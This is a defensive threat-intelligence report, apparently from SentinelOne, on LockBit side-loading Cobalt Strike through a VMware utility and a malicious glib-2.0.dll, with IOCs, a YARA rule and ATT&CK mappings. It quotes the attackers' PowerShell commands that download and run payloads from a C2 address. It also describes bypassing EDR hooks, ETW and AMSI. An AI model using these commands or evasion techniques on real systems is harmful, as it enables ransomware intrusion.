LockBit Ransomware Side-loads Cobalt Strike Beacon with Legitimate VMware Utility

By James Haughom, Júlio Dantas, and Jim Walter

Executive Summary

  • The VMware command line utility VMwareXferlogs.exe used for data transfer to and from VMX logs is susceptible to DLL side-loading.
  • During a recent investigation, our DFIR team discovered that LockBit Ransomware-as-a-Service (Raas) side-loads Cobalt Strike Beacon through a signed VMware xfer logs command line utility.
  • The threat actor uses PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a .log file containing an encrypted Cobalt Strike Reflective Loader.
  • The malicious DLL evades defenses by removing EDR/EPP’s userland hooks, and bypasses both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI).
  • There are suggestions that the side-loading functionality was implemented by an affiliate rather than the Lockbit developers themselves (via vx-underground), likely DEV-0401.

Overview

LockBit is a Ransomware as a Service (RaaS) operation that has been active since 2019 (previously known as “ABCD”). It commonly leverages the double extortion technique, employing tools such as StealBit, WinSCP, and cloud-based backup solutions for data exfiltration prior to deploying the ransomware. Like most ransomware groups, LockBit’s post-exploitation tool of choice is Cobalt Strike.

During a recent investigation, our DFIR team discovered an interesting technique used by LockBit Ransomware Group, or perhaps an affiliate, to load a Cobalt Strike Beacon Reflective Loader. In this particular case, LockBit managed to side-load Cobalt Strike Beacon through a signed VMware xfer logs command line utility.

Since our initial publication of this report, we have identified a connection with an affiliate Microsoft tracks as DEV-0401. A switch to LockBit represents a notable departure in DEV-0401’s previously observed TTPs.

Side-loading is a DLL-hijacking technique used to trick a benign process into loading and executing a malicious DLL by placing the DLL alongside the process’ corresponding EXE, taking advantage of the DLL search order. In this instance, the threat actor used PowerShell to download the VMware xfer logs utility along with a malicious DLL, and a .log file containing an encrypted Cobalt Strike Reflective Loader. The VMware utility was then executed via cmd.exe, passing control flow to the malicious DLL.

The DLL then proceeded to evade defenses by removing EDR/EPP’s userland hooks, as well as bypassing both Event Tracing for Windows (ETW) and Antimalware Scan Interface (AMSI). The .log file was then loaded in memory and decrypted via RC4, revealing a Cobalt Strike Beacon Reflective Loader. Lastly, a user-mode Asynchronous Procedure Call (APC) is queued, which is used to pass control flow to the decrypted Beacon.

Attack Chain

The attack chain began with several PowerShell commands executed by the threat actor to download three components, a malicious DLL, a signed VMwareXferlogs executable, and an encrypted Cobalt Strike payload in the form of a .log file.

Filename Description
glib-2.0.dll Weaponized DLL loaded by VMwareXferlogs.exe
VMwareXferlogs.exe Legitimate/signed VMware command line utility
c0000015.log Encrypted Cobalt Strike payload

Our DFIR team recovered the complete PowerShell cmdlets used to download the components from forensic artifacts.

Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/glib-2.0.dll -OutFile c:\windows\debug\glib-2.0.dll;

Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/c0000015.log -OutFile c:\windows\debug\c0000015.log;

Invoke-WebRequest -uri hxxp://45.32.108[.]54:443/VMwareXferlogs.exe -OutFile c:\windows\debug\VMwareXferlogs.exe;c:\windows\debug\VMwareXferlogs.exe

The downloaded binary (VMwareXferlogs.exe) was then executed via the command prompt, with the STDOUT being redirected to a file.

c:\windows\debug\VMwareXferlogs.exe 1> 
\\127.0.0.1\ADMIN$\__1649832485.0836577 2>&1

The VMwareXferlogs.exe is a legitimate, signed executable belonging to VMware.

VirusTotal Signature Summary

This utility is used to transfer data to and from VMX logs.

VMware xfer utility command line usage

This command line utility makes several calls to a third party library called glib-2.0.dll. Both the utility and a legitimate version of glib-2.0.dll are shipped with VMware installations.

glib-2.0.dll functions being called by VMwareXferlog.exe

The weaponized glib-2.0.dll downloaded by the threat actor exports all the necessary functions imported by VMwareXferlog.exe.

Exported functions of malicious glib-2.0.dll
glib-2.0.dll-related functions imported by VMwareXferlog.exe

Calls to exported functions from glib-2.0.dll are made within the main function of the VMware utility, the first being g_path_get_basename().

glib-2.0.dll functions being called by VMwareXferlog.exe

Note that the virtual addresses for the exported functions are all the same for the weaponized glib-2.0.dll (0x1800020d0), except for g_path_get_basename, which has a virtual address of 0x180002420. This is due to the fact that all exports, except for the g_path_get_basename function do nothing other than call ExitProcess().

g_error_free() function’s logic

On the other hand, g_path_get_basename() invokes the malicious payload prior to exiting.

When VMwareXferlog.exe calls this function, control flow is transferred to the malicious glib-2.0.dll, rather than the legitimate one, completing the side-loading attack.

g_path_get_basename() being called in the main() function

Once control flow is passed to the weaponized DLL, the presence of a debugger is checked by querying the BeingDebugged flag and NtGlobalFlag in the Process Environment Block (PEB). If a debugger is detected, the malware enters an endless loop.

Anti-debug mechanisms

Bypassing EDR/EPP Userland Hooks

At this juncture, the malware enters a routine to bypass any userland hooks by manually mapping itself into memory, performing a byte-to-byte inspection for any discrepancies between the copy of self and itself, and then overwriting any sections that have discrepancies.

This routine is repeated for all loaded modules, thus allowing the malware to identify any potential userland hooks installed by EDR/EPP, and overwrite them with the unpatched/unhooked code directly from the modules’ images on disk.

Checking for discrepancies between on-disk and in-memory for each loaded module

For example, EDR’s userland NT layer hooks may be removed with this technique. The below subroutine shows a trampoline where a SYSCALL stub would typically reside, but instead jumps to a DLL injected by EDR. This subroutine will be overwritten/restored to remove the hook.

EDR-hooked SYSCALL stub that will be patched

Here is a look at the patched code to restore the original SYSCALL stub and remove the EDR hook.

NT layer hook removed and original code restored

Once these hooks are removed, the malware continues to evade defenses. Next, an attempt to bypass Event Tracing for Windows (ETW) commences through patching the EtwEventWrite WinAPI with a RET instruction (0xC3), stopping any useful ETW-related telemetry from being generated related to this process.

Event Tracing for Windows bypass

AMSI is bypassed the same way as ETW through patching AmsiScanBuffer. This halts AMSI from inspecting potentially suspicious buffers within this process.

AMSI bypass

Once these defenses have been bypassed, the malware proceeds to execute the final payload. The final payload is a Cobalt Strike Beacon Reflective Loader that is stored RC4-encrypted in the previously mentioned c0000015.log file. The RC4 Key Scheduling Algorithm can be seen below with the hardcoded 136 byte key.

&.5 \C3%YHO2SM-&B3!XSY6SV)6(&7;(3.'
$F2WAED>>;K]8\*D#?G9I+V@(R,+]A-G\D
HERIP:45:X(WN8[?3Y>XCWNPOL89>[.# Q'
4CP8M-%4N[7.$R->-1)$!NU"W$!YT<J$V[
RC4 Key Scheduling Algorithm

The RC4 decryption of the payload then commences.

RC4 decryption routine

The final result is Beacon’s Reflective Loader, seen below with the familiar magic bytes and hardcoded strings.

Decrypted Cobalt Strike Beacon Reflective Loader

Once decrypted, the region of memory that the payload resides in is made executable (PAGE_EXECUTE_READWRITE), and a new thread is created for this payload to run within.

This thread is created in a suspended state, allowing the malware to add a user-mode APC, pointing to the payload, to the newly created thread’s APC queue. Finally, the thread is resumed, allowing the thread to run and execute the Cobalt Strike payload via the APC.

Logic to queue and execute user-mode APC

The DLL is detected by the SentinelOne agent prior to being loaded and executed.

Detection for LockBit DLL

VMware Side-loading Variants

A handful of samples related to the malicious DLL were discovered by our investigation. The only notable differences being the RC4 key and name of the file containing the RC4-encrypted payload to decrypt.

For example, several of the samples attempt to load the file vmtools.ini rather than c0000015.log.

The vmtools.ini file being accessed by a variant

Another variant shares the same file name to load vmtools.ini, yet is packed with a custom version of UPX.

Tail jump at the end of the UPX unpacking stub

Conclusion

The VMware command line utility VMwareXferlogs.exe used for data transfer to and from VMX logs is susceptible to DLL side-loading. In our engagement, we saw that the threat actor had created a malicious version of the legitimate glib-2.0.dll to only have code within the g_path_get_basename() function, while all other exports simply called ExitProcess(). This function invokes a malicious payload which, among other things, attempts to bypass EDR/EPP userland hooks and engages in anti-debugging logic.

LockBit continues to be a successful RaaS and the developers are clearly innovating in response to EDR/EPP solutions. We hope that by describing this latest technique, defenders and security teams will be able to improve their ability to protect their organizations.

Indicators of Compromise

SHA1 Description
729eb505c36c08860c4408db7be85d707bdcbf1b Malicious glib-2.0.dll from investigation
091b490500b5f827cc8cde41c9a7f68174d11302 Decrypted Cobalt Strike payload
e35a702db47cb11337f523933acd3bce2f60346d Encrypted Cobalt Strike payload – c0000015.log
25fbfa37d5a01a97c4ad3f0ee0396f953ca51223 glib-2.0.dll vmtools.ini variant
0c842d6e627152637f33ba86861d74f358a85e1f glib-2.0.dll vmtools.ini variant
1458421f0a4fe3acc72a1246b80336dc4138dd4b glib-2.0.dll UPX-packed vmtools.ini variant
File Path Description
c:\windows\debug\VMwareXferlogs.exe Full path to legitimate VMware command line utility
c:\windows\debug\glib-2.0.dll Malicious DLL used for hijack
c:\windows\debug\c0000015.log Encrypted Cobalt Strike reflective loader
C2 Description
149.28.137[.]7 Cobalt Strike C2
45.32.108[.]54 Attacker C2

YARA Hunting Rules

import "pe"

rule Weaponized_glib2_0_dll
{
	meta:
		description = "Identify potentially malicious versions of glib-2.0.dll"
		author = "James Haughom @ SentinelOne"
		date = "2022-04-22"
		reference = "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/"

	/*
		The VMware command line utilty 'VMwareXferlogs.exe' used for data
		transfer to/from VMX logs is susceptible to DLL sideloading. The
		malicious versions of this DLL typically only have code within 
		the function 'g_path_get_basename()' properly defined, while the
		rest will of the exports simply call 'ExitProcess()'.  Notice how
		in the exports below, the virtual address for all exported functions
		are the same except for 'g_path_get_basename()'. We can combine this
		along with an anomalously low number of exports for this DLL, as
		legit instances of this DLL tend to have over 1k exports.

		[Exports]

		nth paddr      vaddr       bind   type size lib          name
		―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
		1   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_error_free
		2   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_free
		3   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_add_main_entries
		4   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_free
		5   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_get_help
		6   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_new
		7   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_option_context_parse
		8   0x00001820 0x180002420 GLOBAL FUNC 0    glib-2.0.dll g_path_get_basename
		9   0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_print
		10  0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_printerr
		11  0x000014d0 0x1800020d0 GLOBAL FUNC 0    glib-2.0.dll g_set_prgname


		This rule will detect malicious versions of this DLL by identifying
		if the virtual address is the same for all of the exported functions
		used by 'VMwareXferlogs.exe' except for 'g_path_get_basename()'.
	*/

	condition:
		/* sample is an unsigned DLL */
		pe.characteristics & pe.DLL and pe.number_of_signatures == 0 and

		/* ensure that we have all of the exported functions of glib-2.0.dll imported by VMwareXferlogs.exe */
		pe.exports("g_path_get_basename") and
		pe.exports("g_error_free") and
		pe.exports("g_free") and
		pe.exports("g_option_context_add_main_entries") and
		pe.exports("g_option_context_get_help") and
		pe.exports("g_option_context_new") and
		pe.exports("g_print") and
		pe.exports("g_printerr") and
		pe.exports("g_set_prgname") and
		pe.exports("g_option_context_free") and
		pe.exports("g_option_context_parse") and

		/* all exported functions have the same offset besides g_path_get_basename */
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_error_free")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_get_help")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_new")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_add_main_entries")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_print")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_printerr")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_set_prgname")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_free")].offset and
		pe.export_details[pe.exports_index("g_free")].offset == pe.export_details[pe.exports_index("g_option_context_parse")].offset and
		pe.export_details[pe.exports_index("g_free")].offset != pe.export_details[pe.exports_index("g_path_get_basename")].offset and

		/* benign glib-2.0.dll instances tend to have ~1k exports while malicious ones have the bare minimum */
		pe.number_of_exports < 15
}

MITRE ATT&CK TTPs

TTP MITRE ID
Encrypted Cobalt Strike payload T1027
DLL Hijacking T1574
ETW Bypass T1562.002
AMSI Bypass T1562.002
Unhooking EDR T1562.001
Encrypted payload T1027.002
Powershell usage T1059.001
Cobalt Strike S0154